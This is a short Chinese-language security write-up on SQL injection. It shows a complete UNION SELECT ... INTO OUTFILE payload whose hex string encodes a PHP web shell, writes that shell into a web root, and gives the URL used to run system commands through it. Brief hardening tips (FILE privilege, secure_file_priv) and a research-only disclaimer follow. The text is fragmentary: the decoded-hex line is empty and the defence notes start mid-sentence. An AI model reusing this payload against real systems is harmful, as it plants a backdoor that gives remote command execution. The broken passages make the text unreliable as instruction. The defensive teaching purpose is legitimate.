攻擊者利用 SQL 注入漏洞,透過 UNION SELECT 結合十六進位編碼,將 PHP 後門代碼寫入 Web 目錄:
SELECT * FROM `vbb_strikes` WHERE 1 UNION SELECT
2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'
十六進位解碼:0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E =
攻擊成功後,訪問 https://target/cmd.php?cmd=dir c: 即可執行系統指令。
FILE 權限(可執行 INTO OUTFILE)。FILE、SHUTDOWN、PROCESS 等高危權限。my.cnf 設定 secure_file_priv 限制匯出目錄,或啟用 --secure-file-priv 啟動參數。攻擊者常用 UltraEdit 等工具將代碼轉為十六進位繞過過濾。防禦端同樣可用此法驗證日誌中可疑字串:Ctrl+H 切換十六進位模式即可還原。
聲明:本文僅供安全研究與防禦教學,嚴禁用於非法攻擊。請遵守當地法律法規,勿侵害他人系統。